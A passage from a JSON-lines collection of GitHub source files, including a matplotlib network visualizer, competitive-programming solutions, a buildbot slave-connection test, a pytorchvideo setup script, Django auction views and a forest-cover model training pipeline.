facecolor=DEFAULT_CIRCLE_COLOR)\n plt.gca().add_artist(circle)\n label = plt.gca().text(x + CIRCLE_RADIUS, y + CIRCLE_RADIUS, name)\n current_circles[location] = [circle, 1, label]\n\n # start the creating-node animation\n appearing_circles[circle] = 0\n\n # already-seen location case:\n else:\n\n # update `socket_count`\n current_circles[location][1] += 1\n\n def process_close_socket(args):\n \"\"\"Process a CLOSE-SOCKET event.\"\"\"\n\n # get the location\n loc1, loc2 = args\n\n # last socket case\n if current_circles[loc1][1] == 1:\n\n # remove circle\n circle, _, label = current_circles[loc1]\n del current_circles[loc1]\n\n # start the removing-node animation\n disappearing_circles[circle] = 0\n label.remove()\n\n else:\n # update `socket_count`\n current_circles[loc1][1] -= 1\n\n # return now if the socket isn't connected to any address\n if not loc2:\n return\n\n # last link case\n if current_lines[(loc1, loc2)][1] == 1:\n\n # remove line\n line = current_lines[(loc1, loc2)][0]\n del current_lines[(loc1, loc2)]\n\n # start the removing-link animation\n disappearing_lines[line] = 0\n\n else:\n # update `line_count`\n current_lines[(loc1, loc2)][1] -= 1\n\n def process_connect(args):\n \"\"\"Process a CONNECT event.\"\"\"\n\n # get the locations\n loc1, loc2 = args\n x1, y1 = loc1\n x2, y2 = loc2\n\n # new link case:\n if (loc1, loc2) not in current_lines:\n\n # make a new line and add to map\n line = lines.Line2D(xdata=[x1, x1], ydata=[y1, y1],\n color=DEFAULT_LINE_COLOR)\n current_lines[(loc1, loc2)] = [line, 1]\n plt.gca().add_line(line)\n\n # start the creating-link animation\n vector = ((x2 - x1)/FRAMES_PER_ACTION, (y2 - y1)/FRAMES_PER_ACTION)\n appearing_lines[line] = [vector, 0]\n\n # already-seen link case:\n else:\n current_lines[(loc1, loc2)][1] += 1\n\n def process_transmit(args):\n \"\"\"Process a TRANSMIT event.\"\"\"\n\n # get the locations and packet size\n loc1, loc2, size = args\n\n # update `current_packets`\n nonlocal current_packets\n if (loc1, loc2) in current_packets:\n current_packets[(loc1, loc2)] += size\n else:\n current_packets[(loc1, loc2)] = size\n\n def run(current_frame):\n nonlocal active\n global SPEED_FACTOR_UPDATE_START_TIME, SPEED_FACTOR_UPDATE_START_FRAME\n global SPEED_FACTOR\n\n # return at first frame to plot a window\n if current_frame == 0:\n return\n\n # get and process new events\n while True:\n try:\n event_type, *args = event_q.get(timeout=(0 if active else\n MAX_UNRESPONSIVE_DURATION))\n\n if event_type == Event.CREATE_SOCKET:\n process_create_socket(args)\n elif event_type == Event.CLOSE_SOCKET:\n process_close_socket(args)\n elif event_type == Event.CONNECT:\n process_connect(args)\n elif event_type == Event.TRANSMIT:\n process_transmit(args)\n\n # from inactive to active -> start measuring time\n if not active and is_active():\n active = True\n SPEED_FACTOR_UPDATE_START_TIME = time.time()\n SPEED_FACTOR_UPDATE_START_FRAME = current_frame\n\n except Empty:\n if not active: # return to handle window events\n return\n else: # handle animation before return\n break\n\n # update in-motion objects\n update_appearing_circles()\n update_disappearing_circles()\n update_appearing_lines()\n update_disappearing_lines()\n update_moving_circles()\n\n # from active to inactive -> update packet speed\n if not is_active():\n active = False\n current_time = time.time()\n observed = current_time - SPEED_FACTOR_UPDATE_START_TIME\n expected = ((current_frame - SPEED_FACTOR_UPDATE_START_FRAME)\n * FRAME_INTERVAL / 1000)\n SPEED_FACTOR = observed / expected\n\n # start the show\n global ani\n ani = animation.FuncAnimation(plt.gcf(), run, interval=FRAME_INTERVAL)\n plt.show()\n","repo_name":"nguyenduyhieukma/kmacoin","sub_path":"kmacoin/network/visualizing.py","file_name":"visualizing.py","file_ext":"py","file_size_in_byte":12501,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"90"} +{"seq_id":"18262350649","text":"N,M=map(int,input().split())\ns=[0]*M\nc=[0]*M\nd=dict()\nfor i in range(M):\n s[i],c[i] = map(int,input().split())\n if s[i] in d:\n if d[s[i]]!=c[i]:\n ans=-1\n break\n else:\n d[s[i]]=c[i]\nelse:\n ans=\"\"\n for i in range(1,N+1):\n if i in d:\n ans += str(d[i])\n else:\n if i>=2 and ans!=\"\" and ans[0]==\"0\":\n ans=-1\n break\n elif N>=2 and i==1:\n ans +=str(1)\n else:\n ans +=str(0)\n \nprint(ans)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02761/s472802589.py","file_name":"s472802589.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"9127530203","text":"import mock\nfrom twisted.spread import pb\nfrom twisted.internet import defer, reactor\nfrom twisted.cred import credentials\nfrom twisted.trial import unittest\nfrom twisted.python import log\nimport buildbot\nfrom buildbot.test.util import compat\nfrom buildbot.process import botmaster\nfrom buildbot import pbmanager, buildslave\nfrom buildbot.test.fake import fakemaster\n\nclass FakeSlaveBuilder(pb.Referenceable):\n \"\"\"\n Fake slave-side SlaveBuilder object\n \"\"\"\n\nclass FakeSlaveBuildSlave(pb.Referenceable):\n \"\"\"\n Fake slave-side BuildSlave object\n\n @ivar master_persp: remote perspective on the master\n \"\"\"\n\n def __init__(self, callWhenBuilderListSet):\n self.callWhenBuilderListSet = callWhenBuilderListSet\n self.master_persp = None\n\n def setMasterPerspective(self, persp):\n self.master_persp = persp\n # clear out master_persp on disconnect\n def clear_persp():\n self.master_persp = None\n persp.broker.notifyOnDisconnect(clear_persp)\n\n def remote_print(self, what):\n log.msg(\"SLAVE-SIDE: remote_print(%r)\" % (what,))\n\n def remote_getSlaveInfo(self):\n return { 'info' : 'here' }\n\n def remote_getVersion(self):\n return buildbot.version\n\n def remote_getCommands(self):\n return { 'x' : 1 }\n\n def remote_setBuilderList(self, builder_info):\n builder_names = [ n for n, dir in builder_info ]\n slbuilders = [ FakeSlaveBuilder() for n in builder_names ]\n reactor.callLater(0, self.callWhenBuilderListSet)\n return dict(zip(builder_names, slbuilders))\n\n\nclass FakeBuilder(object):\n\n def __init__(self):\n self.name = 'bldr'\n self.slavebuilddir = 'bldr'\n self.slavenames = [ 'testslave' ]\n self.builder_status = mock.Mock()\n\n def attached(self, slave, remote, commands):\n assert commands == { 'x' : 1 }\n return defer.succeed(None)\n\n def detached(self, slave):\n pass\n\n def setBotmaster(self, botmaster):\n pass\n\n def setServiceParent(self, botmaster):\n pass\n\n def getOldestRequestTime(self):\n return 0\n\n def maybeStartBuild(self):\n return defer.succeed(None)\n\n\nclass TestSlaveComm(unittest.TestCase):\n \"\"\"\n Test handling of connections from slaves as integrated with\n - Twisted Spread\n - real TCP connections.\n - PBManager\n\n @ivar master: fake build master\n @ivar pbamanger: L{PBManager} instance\n @ivar botmaster: L{BotMaster} instance\n @ivar buildslave: master-side L{BuildSlave} instance\n @ivar slavebuildslave: slave-side L{FakeSlaveBuildSlave} instance\n @ivar port: TCP port to connect to\n @ivar connector: outbound TCP connection from slave to master\n @ivar detach_d: Defererd that will fire when C{buildslave.detached} is\n called\n \"\"\"\n\n def setUp(self):\n self.master = fakemaster.make_master()\n # set the slave port to a loopback address with unspecified\n # port\n self.master.slavePortnum = \"tcp:0:interface=127.0.0.1\"\n self.pbmanager = self.master.pbmanager = pbmanager.PBManager()\n self.pbmanager.startService()\n\n self.botmaster = botmaster.BotMaster(self.master)\n self.botmaster.startService()\n\n self.buildslave = None\n self.port = None\n self.slavebuildslave = None\n self.connector = None\n self.detach_d = None\n\n def tearDown(self):\n if self.connector:\n self.connector.disconnect()\n return defer.gatherResults([\n self.pbmanager.stopService(),\n self.botmaster.stopService(),\n ])\n\n def addSlave(self, **kwargs):\n \"\"\"\n Create a master-side slave instance and add it to the BotMaster\n\n @param **kwargs: arguments to pass to the L{BuildSlave} constructor.\n \"\"\"\n self.buildslave = buildslave.BuildSlave(\"testslave\", \"pw\", **kwargs)\n self.botmaster.addSlave(self.buildslave)\n\n # now that we've called the pbmanager's register method, we can get a\n # port number\n self.port = self.buildslave.pb_registration.getPort()\n\n self.builder = FakeBuilder()\n self.botmaster.setBuilders([self.builder])\n\n def connectSlave(self, waitForBuilderList=True):\n \"\"\"\n Connect a slave the master via PB\n\n @param waitForBuilderList: don't return until the setBuilderList has\n been called\n @returns: L{FakeSlaveBuildSlave} and a Deferred that will fire when it\n is detached; via deferred\n \"\"\"\n factory = pb.PBClientFactory()\n creds = credentials.UsernamePassword(\"testslave\", \"pw\")\n setBuilderList_d = defer.Deferred()\n slavebuildslave = FakeSlaveBuildSlave(\n lambda : setBuilderList_d.callback(None))\n\n login_d = factory.login(creds, slavebuildslave)\n def logged_in(persp):\n slavebuildslave.setMasterPerspective(persp)\n\n self.detach_d = defer.Deferred()\n self.buildslave.subscribeToDetach(lambda :\n self.detach_d.callback(None))\n\n return slavebuildslave\n login_d.addCallback(logged_in)\n\n self.connector = reactor.connectTCP(\"127.0.0.1\", self.port, factory)\n\n if not waitForBuilderList:\n return login_d\n else:\n d = defer.DeferredList([login_d, setBuilderList_d],\n consumeErrors=True, fireOnOneErrback=True)\n d.addCallback(lambda _ : slavebuildslave)\n return d\n\n def slaveSideDisconnect(self, slave):\n \"\"\"Disconnect from the slave side\"\"\"\n slave.master_persp.broker.transport.loseConnection()\n\n @defer.deferredGenerator\n def test_connect_disconnect(self):\n \"\"\"Test a single slave connecting and disconnecting.\"\"\"\n self.addSlave()\n\n # connect\n wfd = defer.waitForDeferred(\n self.connectSlave())\n yield wfd\n slave = wfd.getResult()\n\n # disconnect\n self.slaveSideDisconnect(slave)\n\n # wait for the resulting detach\n wfd = defer.waitForDeferred(self.detach_d)\n yield wfd\n wfd.getResult()\n\n @defer.deferredGenerator\n @compat.usesFlushLoggedErrors\n def test_duplicate_slave(self):\n self.addSlave()\n\n # connect first slave\n wfd = defer.waitForDeferred(\n self.connectSlave())\n yield wfd\n slave1 = wfd.getResult()\n\n # connect second slave; this should fail\n try:\n wfd = defer.waitForDeferred(\n self.connectSlave(waitForBuilderList=False))\n yield wfd\n wfd.getResult()\n connect_failed = False\n except:\n connect_failed = True\n self.assertTrue(connect_failed)\n\n # disconnect both and wait for that to percolate\n self.slaveSideDisconnect(slave1)\n\n wfd = defer.waitForDeferred(self.detach_d)\n yield wfd\n wfd.getResult()\n\n # flush the exception logged for this on the master\n self.assertEqual(len(self.flushLoggedErrors(RuntimeError)), 1)\n\n @defer.deferredGenerator\n @compat.usesFlushLoggedErrors\n def test_duplicate_slave_old_dead(self):\n self.addSlave()\n\n # connect first slave\n wfd = defer.waitForDeferred(\n self.connectSlave())\n yield wfd\n slave1 = wfd.getResult()\n\n # monkeypatch that slave to fail with PBConnectionLost when its\n # remote_print method is called\n def remote_print(what):\n raise pb.PBConnectionLost(\"fake!\")\n slave1.remote_print = remote_print\n\n # connect second slave; this should succeed, and the old slave\n # should be disconnected.\n wfd = defer.waitForDeferred(\n self.connectSlave())\n yield wfd\n slave2 = wfd.getResult()\n\n # disconnect both and wait for that to percolate\n self.slaveSideDisconnect(slave2)\n\n wfd = defer.waitForDeferred(self.detach_d)\n yield wfd\n wfd.getResult()\n\n # flush the exception logged for this on the slave\n self.assertEqual(len(self.flushLoggedErrors(pb.PBConnectionLost)), 1)\n","repo_name":"tfogal/buildbot","sub_path":"master/buildbot/test/integration/test_slave_comm.py","file_name":"test_slave_comm.py","file_ext":"py","file_size_in_byte":8191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"90"} +{"seq_id":"40112502264","text":"import os\n\nfrom setuptools import find_packages, setup\n\n\ndef get_version():\n init_py_path = os.path.join(\n os.path.abspath(os.path.dirname(__file__)), \"pytorchvideo\", \"__init__.py\"\n )\n init_py = open(init_py_path, \"r\").readlines()\n version_line = [\n lines.strip() for lines in init_py if lines.startswith(\"__version__\")\n ][0]\n version = version_line.split(\"=\")[-1].strip().strip(\"'\\\"\")\n\n # Used by CI to build nightly packages. Users should never use it.\n # To build a nightly wheel, run:\n # BUILD_NIGHTLY=1 python setup.py sdist\n if os.getenv(\"BUILD_NIGHTLY\", \"0\") == \"1\":\n from datetime import datetime\n\n date_str = datetime.today().strftime(\"%Y%m%d\")\n # pip can perform proper comparison for \".post\" suffix,\n # i.e., \"1.1.post1234\" >= \"1.1\"\n version = version + \".post\" + date_str\n\n new_init_py = [l for l in init_py if not l.startswith(\"__version__\")]\n new_init_py.append('__version__ = \"{}\"\\n'.format(version))\n with open(init_py_path, \"w\") as f:\n f.write(\"\".join(new_init_py))\n\n return version\n\n\ndef get_name():\n name = \"pytorchvideo\"\n if os.getenv(\"BUILD_NIGHTLY\", \"0\") == \"1\":\n name += \"-nightly\"\n return name\n\n\nsetup(\n name=get_name(),\n version=get_version(),\n license=\"Apache 2.0\",\n author=\"Facebook AI\",\n url=\"https://github.com/facebookresearch/pytorchvideo\",\n description=\"A video understanding deep learning library.\",\n python_requires=\">=3.7\",\n install_requires=[\n \"fvcore\",\n \"av\",\n \"parameterized\",\n \"iopath\",\n \"networkx\",\n ],\n extras_require={\n \"test\": [\"coverage\", \"pytest\", \"opencv-python\", \"decord\"],\n \"dev\": [\n \"opencv-python\",\n \"decord\",\n \"black==20.8b1\",\n \"sphinx\",\n \"isort==4.3.21\",\n \"flake8==3.8.1\",\n \"flake8-bugbear\",\n \"flake8-comprehensions\",\n \"pre-commit\",\n \"nbconvert\",\n \"bs4\",\n \"autoflake==1.4\",\n ],\n \"opencv-python\": [\n \"opencv-python\",\n ],\n },\n packages=find_packages(exclude=(\"scripts\", \"tests\")),\n)\n","repo_name":"facebookresearch/pytorchvideo","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":3050,"dataset":"github-code","pt":"90"} +{"seq_id":"73138891498","text":"count = 0\r\nfor x in range(10000):\r\n itts,n = 0, x + int(str(x)[::-1])\r\n while str(n) != str(n)[::-1]:\r\n itts+=1\r\n n += int(str(n)[::-1])\r\n if itts == 50:\r\n count +=1\r\n break\r\n\r\nprint(count)\r\n","repo_name":"AmdaUwU/Projet_Euler","sub_path":"python/#55.py","file_name":"#55.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"3094570368","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.db import IntegrityError\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom .models import *\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\n\n\ndef index(request):\n return render(request, \"auctions/index.html\", {\n \"items\": Listings.objects.all().order_by('-post_date')\n })\n\n\ndef login_view(request):\n if request.method == \"POST\":\n\n # Attempt to sign user in\n username = request.POST[\"username\"]\n password = request.POST[\"password\"]\n user = authenticate(request, username=username, password=password)\n\n # Check if authentication successful\n if user is not None:\n login(request, user)\n return HttpResponseRedirect(reverse(\"index\"))\n else:\n return render(request, \"auctions/login.html\", {\n \"message\": \"Invalid username and/or password.\"\n })\n else:\n return render(request, \"auctions/login.html\")\n\n\ndef logout_view(request):\n logout(request)\n return HttpResponseRedirect(reverse(\"index\"))\n\n\ndef register(request):\n if request.method == \"POST\":\n name = request.POST[\"name\"]\n username = request.POST[\"username\"]\n email = request.POST[\"email\"]\n # Ensure password matches confirmation\n password = request.POST[\"password\"]\n confirmation = request.POST[\"confirmation\"]\n if password != confirmation:\n return render(request, \"auctions/register.html\", {\n \"message\": \"Passwords must match.\"\n })\n\n # Attempt to create new user\n try:\n user = User.objects.create_user(username, email, password)\n user.first_name = name;\n user.save()\n except IntegrityError:\n return render(request, \"auctions/register.html\", {\n \"message\": \"Username already taken.\"\n })\n login(request, user)\n return HttpResponseRedirect(reverse(\"index\"))\n else:\n return render(request, \"auctions/register.html\")\n\n@login_required\ndef addlisting(request):\n if request.method == \"POST\":\n title = request.POST[\"title\"]\n description = request.POST[\"description\"]\n starting_bid = request.POST.get(\"starting_bid\")\n photo_url = request.POST[\"photo_url\"]\n category = request.POST[\"category\"]\n\n items = Listings(\n title= title.capitalize(),\n description= description.capitalize(),\n starting_bid= starting_bid,\n photo_url= photo_url,\n category= category,\n post_date= timezone.now(),\n username=request.user\n )\n items.save()\n\n return render(request, \"auctions/index.html\" , {\n \"items\": Listings.objects.all().order_by('-post_date')\n })\n else:\n return render(request, \"auctions/addlisting.html\")\n\ndef category(request):\n return render(request, \"auctions/category.html\", {\n \"cats\":(\"Clothing\", \"Electronics\", \"Toys\", \"Furniture\", \"Music\", \"Books\")\n })\n\ndef categorylist(request, cat_name):\n\n list = Listings.objects.filter(category=cat_name).order_by('-post_date')\n\n return render(request, \"auctions/index.html\" , {\n \"items\": list\n })\n\n\ndef placebid(request, item_id):\n if request.method == \"POST\":\n bid = request.POST.get(\"mybid\");\n comment = request.POST.get(\"comment\");\n l1 = Listings.objects.get(id=item_id)\n u1 = User.objects.get(username=request.user)\n msg2 = None\n msg = None\n\n if comment:\n test_comment = Comments.objects.all().filter(item_id=item_id, username=request.user)\n if test_comment:\n msg2 = \"You've already commented. Cannot put another comment.\"\n else:\n c1 = Comments(\n item_id=l1,\n comment=comment,\n username=u1\n )\n c1.save()\n msg2 = \"Comment posted!\"\n if bid:\n check_bidder = Bids.objects.all().filter(item_id=item_id, username=request.user)\n if not check_bidder:\n test_bid = Bids.objects.all().filter(item_id=item_id)\n if not test_bid:\n data = l1.starting_bid\n else:\n data = test_bid.order_by('-bid_date')[0].new_bid\n\n\n if int(bid) > data:\n b1 = Bids(item_id=l1, new_bid=bid, username=u1, bid_date=timezone.now())\n b1.save()\n msg = \"Bid placed\"\n else:\n msg = \"Error: Enter bid greater than original price and the last bid price! \"\n else:\n msg = \"Cannot bid more than once!\"\n\n item = Listings.objects.get(id=item_id)\n obj = WatchList.objects.all().filter(item_id=item_id, username=u1)\n if obj:\n msg4=\"In your watchlist\"\n else:\n msg4=None\n if not item:\n item = soldOut.objects.get(item_id=item_id)\n return render(request, \"auctions/placebid.html\", {\n \"item\": item,\n \"msg3\":\"This item is sold out!\",\n \"soldtoname\": item.busername,\n \"soldat\": item.end_bid,\n \"msg4\": msg4,\n \"msg\": msg,\n \"msg2\":msg2,\n \"count\": Bids.objects.all().filter(item_id=item_id).count()\n })\n else:\n return render(request, \"auctions/placebid.html\", {\n \"item\": item,\n \"bids\": Bids.objects.all().filter(item_id=item_id).order_by('-bid_date'),\n \"comments\": Comments.objects.all().filter(item_id=item_id),\n \"msg4\": msg4,\n \"msg\": msg,\n \"msg2\":msg2,\n \"count\": Bids.objects.all().filter(item_id=item_id).count()\n })\n\n\n else:\n\n u1 = User.objects.get(username=request.user)\n print(item_id)\n item = Listings.objects.get(id=item_id)\n obj = WatchList.objects.all().filter(item_id=item_id, username=u1)\n if obj:\n msg4=\"In your watchlist\"\n else:\n msg4=None\n if not item:\n item = soldOut.objects.get(item_id=item_id)\n return render(request, \"auctions/placebid.html\", {\n \"item\": item,\n \"msg3\":\"This item is sold out!\",\n \"soldtoname\": item.busername,\n \"soldat\": item.end_bid,\n \"msg4\": msg4\n })\n else:\n return render(request, \"auctions/placebid.html\", {\n \"item\": item,\n \"bids\": Bids.objects.all().filter(item_id=item_id).order_by('-bid_date'),\n \"comments\": Comments.objects.all().filter(item_id=item_id),\n \"msg4\": msg4\n })\n\n\ndef soldOutView(request, item_id):\n if request.method == \"POST\":\n\n #Get the owner of the item\n l1 = Listings.objects.get(id=item_id)\n u1 = User.objects.get(username = l1.username)\n #Get the highest bidder for that item\n b1 = Bids.objects.all().filter(item_id=item_id).order_by('-bid_date')[0]\n u2 = User.objects.get(username=b1.username)\n item = Listings.objects.get(pk=item_id)\n #Get starting prce, last bid, starting Date, end date\n start_price = l1.starting_bid\n end_price = b1.new_bid\n starting_date = l1.post_date\n ending_date = b1.bid_date\n pic_url = l1.photo_url\n title = l1.title\n category = l1.category\n\n s = soldOut(\n item_id=item_id,\n username=u1,\n starting_bid=start_price,\n busername=u2,\n end_bid=end_price,\n post_date=starting_date,\n end_date=ending_date,\n photo_url = pic_url,\n title = title,\n category=category\n )\n s.save()\n #Delete entry from listings as it's no longer active\n l1.delete()\n\n return render(request, \"auctions/placebid.html\", {\n \"item\": item,\n \"msg3\":\"This item is sold out!\",\n \"soldtoname\": s.busername,\n \"soldat\": s.end_bid\n })\n\ndef soldouts(request):\n return render(request, \"auctions/soldouts.html\", {\n \"items\":soldOut.objects.all().order_by('-end_date')\n })\n\n\n@login_required\ndef watchlist(request, item_id):\n if request.method == \"POST\":\n # Get the user who posted the listing\n # add = request.POST['add']\n obj = Listings.objects.get(pk=item_id)\n u1 = User.objects.get(username=request.user)\n watch = WatchList(\n username=u1,\n item_id=item_id,\n title=obj.title,\n photo_url=obj.photo_url,\n category=obj.category,\n starting_bid=obj.starting_bid\n )\n watch.save()\n\n item = Listings.objects.get(pk=item_id)\n if not item:\n item = soldOut.objects.get(item_id=item_id)\n\n return render(request, \"auctions/placebid.html\", {\n \"item\": item,\n \"bids\": Bids.objects.all().filter(item_id=item_id).order_by('-bid_date'),\n \"comments\": Comments.objects.all().filter(item_id=item_id),\n \"msg4\": \"Item added to wishlist\"\n })\n\ndef watchlistRemove(request, item_id):\n if request.method == \"POST\":\n u1 = User.objects.get(username=request.user)\n watch = WatchList.objects.all().filter(username=u1, item_id=item_id)\n watch.delete()\n\n return render(request, \"auctions/watchlist.html\", {\n \"items\": WatchList.objects.all().filter(username=u1)\n })\n\n\n\ndef watchlistView(request):\n u1 = User.objects.get(username=request.user)\n msg4 = \"In your watchlist\"\n\n return render(request, \"auctions/watchlist.html\", {\n \"items\": WatchList.objects.all().filter(username=u1)\n\n })\n","repo_name":"TanushriPatil/E-commerce-auction-website","sub_path":"auctions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"36932938399","text":"from sklearn.model_selection import train_test_split\nimport argparse\nimport yaml\nimport json\ntry:\n from db_connect import DbConnector\n from model_builder import Model\n from cluster_builder import Cluster\n from cloud_connect import Cloud\n from training_data_preprocessor import Preprocessor\n from custom_logger import Logger\nexcept Exception:\n from src.db_connect import DbConnector\n from src.model_builder import Model\n from src.cluster_builder import Cluster\n from src.cloud_connect import Cloud\n from src.training_data_preprocessor import Preprocessor\n from src.custom_logger import Logger\n\nconfig_path = \"params.yaml\"\n\n\ndef read_params(config_path):\n with open(config_path) as config_yaml:\n config = yaml.safe_load(config_yaml)\n return config\n\n\ndef fetch_training_data(db_object):\n try:\n training_data = db_object.fetch_training_data()\n return training_data\n except Exception as e:\n raise Exception(\"FAILED : fetch_training_data : not able to fetch training data from db\")\n\n\ndef start_training(config_path):\n config = read_params(config_path)\n\n logger = Logger()\n cloud = Cloud(config)\n db = DbConnector(config)\n\n logger.log_training_pipeline(\"TRAINING: STARTED\")\n\n # FETCHING DATA FROM DB\n logger.log_training_pipeline(\"TRAINING: Fetching training data from database\")\n training_data = fetch_training_data(db)\n\n # PREPROCESS DATA\n logger.log_training_pipeline(\"TRAINING: PREPROCESSING: Processing training data fetched from db \")\n preprocessor = Preprocessor(config, logger)\n features, labels, standardScalerModel, dropped_cols = preprocessor.preprocess(training_data)\n\n # SAVING STANDARD SCALER MODEL TO CLOUD\n logger.log_training_pipeline(\"TRAINING: Saving feature scaling model to cloud\")\n cloud.save_model(standardScalerModel, config[\"cloud\"][\"standard_scaler_model\"])\n\n # CLUSTERING\n logger.log_training_pipeline(\"TRAINING: CLUSTERING: STARTED\")\n cluster_builder = Cluster(cloud, logger=logger)\n cluster_id = cluster_builder.create_cluster(features=features)\n # Add cluster column in features - to be used while training individual models for individual clusters\n features.insert(loc=len(features.columns),\n column=\"cluster\",\n value=cluster_id)\n\n # COMBINING LABELS AND FEATURES AS ONE DATAFRAME\n training_data = features\n training_data.insert(loc=len(training_data.columns),\n column=config[\"base\"][\"target_col\"],\n value=labels)\n\n prediction_schema_dict = {\"dropped_columns\": dropped_cols} # will be used to store model and cluster relations\n\n logger.log_training_pipeline(\"TRAINING CLASSIFIER: STARTED, please check Training Logs for detailed information\")\n # MODEL TRAINING\n for cluster_number in training_data[\"cluster\"].unique().tolist():\n\n logger.log_training(\"PROCESS STARTED\")\n logger.log_training(f\"Started training for cluster {[cluster_number]}\")\n\n # fetch data based on cluster number and divide into training and testing sets\n data = training_data[training_data[\"cluster\"] == cluster_number].drop([\"cluster\"], axis=1)\n training_features = data.drop(config[\"base\"][\"target_col\"], axis=1)\n training_labels = data[config[\"base\"][\"target_col\"]]\n x_train, x_test, y_train, y_test = train_test_split(training_features,\n training_labels,\n test_size=config[\"training_schema\"][\"test_size\"])\n\n # CREATE MODEL_BUILDER OBJECT, TRAIN MODELS AND OBTAIN THE BEST MODEL\n model = Model(train_x=x_train, train_y=y_train, test_x=x_test, test_y=y_test, logger_object=logger)\n (best_model, best_model_name, best_model_metrics) = model.get_best_model()\n\n # Create model filepath for cloud storage\n logger.log_training(f\"Saving {best_model_name} model to cloud\")\n model_filename = str(cluster_number) + '_' + str(best_model_name) + '/' + 'model.pkl'\n cloud.save_model(best_model, model_filename) # Save model to cloud\n\n logger.log_training(f\"Saving performance metrics for the recent model trained\")\n db.save_metrics(best_model_metrics) # Save trained model metrics in database\n prediction_schema_dict[str(cluster_number)] = model_filename # saving the model related to current cluster no\n\n logger.log_training(\"Saving PREDICTION_SCHEMA to cloud\")\n cloud.write_json(prediction_schema_dict, \"prediction_schema.json\") # writing prediction schema file to cloud\n training_models_report = config[\"reports\"][\"training_models_report\"] # fetch reports directory path\n with open(training_models_report, \"w\") as f:\n json.dump(prediction_schema_dict, f, indent=4) # save the prediction_schema info in reports\n\n logger.log_training_pipeline(\"TRAINING CLASSIFIER: COMPLETED\")\n\n # close connections\n db.close()\n logger.close()\n\n\nif __name__ == \"__main__\":\n args = argparse.ArgumentParser()\n args.add_argument(\"--config\", default=\"params.yaml\")\n parsed_args = args.parse_args()\n start_training(config_path=parsed_args.config)\n","repo_name":"Modojojo/forest_cover_classification","sub_path":"src/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":5255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18581954929","text":"import math\n\nN = int(input())\nlines = [list(map(int, input().split())) for i in range(N-1)]\n\ncost = []\n\nfor i in range(N):\n time = 0\n for j in range(i, N-1):\n C, S, F = lines[j]\n if time < S:\n time = S + C\n else:\n time = F*math.ceil(time/F) + C\n cost.append(time)\n\nfor c in cost:\n print(c)\n\n\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03475/s559699634.py","file_name":"s559699634.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18059417049","text":"import itertools\nimport os\nimport sys\n\nif os.getenv(\"LOCAL\"):\n sys.stdin = open(\"_in.txt\", \"r\")\n\nsys.setrecursionlimit(2147483647)\nINF = float(\"inf\")\nIINF = 10 ** 18\n\nH, W, N = list(map(int, sys.stdin.readline().split()))\nAB = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]\n\nhist = set()\n\n\ndef count(h, w):\n ret = 0\n for dh, dw in itertools.product([-1, 0, 1], repeat=2):\n ret += (h + dh, w + dw) in hist\n return ret\n\n\ndef ok(a=1, b=1):\n return 1 < a < H and 1 < b < W\n\n\nans = [0] * 10\nans[0] = (H - 2) * (W - 2)\nfor a, b in AB:\n hist.add((a, b))\n for dh, dw in itertools.product([-1, 0, 1], repeat=2):\n if not ok(a + dh, b + dw):\n continue\n c = count(a + dh, b + dw)\n ans[c] += 1\n ans[c - 1] -= 1\nprint('\\n'.join(map(str, ans)))\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p04000/s173314679.py","file_name":"s173314679.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"34083504866","text":"\"\"\"gunicorn WSGI server configuration.\"\"\"\nfrom multiprocessing import cpu_count\n\n\nbind = '0.0.0.0:6000'\nworker_class = 'gevent'\nworkers = cpu_count()\nmax_requests = 1000\nworker_connections = 10000\nmax_requests_jitter = 5","repo_name":"syanhcva/Isp_DE_test","sub_path":"gunicorn.conf.py","file_name":"gunicorn.conf.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18263633779","text":"class BIT:\n def __init__(self, n):\n self.node = [ 0 for _ in range(n+1) ]\n\n def add(self, idx, w):\n i = idx\n while i < len(self.node) - 1:\n self.node[i] += w\n i |= (i + 1)\n\n def sum_(self, idx):\n ret, i = 0, idx-1\n while i >= 0:\n ret += self.node[i]\n i = (i & (i + 1)) - 1\n return ret\n\n def sum(self, l, r):\n return self.sum_(r) - self.sum_(l)\n\n\nn = int(input())\ns = list(input())\nq = int(input())\n\ntree = [ BIT(n) for _ in range(26) ]\nfor i in range(n):\n tree_id = ord(s[i]) - ord(\"a\")\n tree[tree_id].add(i, 1)\n\nfor _ in range(q):\n query = input().split()\n com = int(query[0])\n if com == 1:\n idx, new_char = int(query[1]), query[2]\n idx -= 1\n old_char = s[idx]\n new_id = ord(new_char) - ord(\"a\")\n old_id = ord(old_char) - ord(\"a\")\n\n tree[old_id].add(idx, -1)\n tree[new_id].add(idx, 1)\n s[idx] = new_char\n\n if com == 2:\n l, r = int(query[1]), int(query[2])\n ret = 0\n for c in range(26):\n if tree[c].sum(l-1, r) > 0:\n ret += 1\n 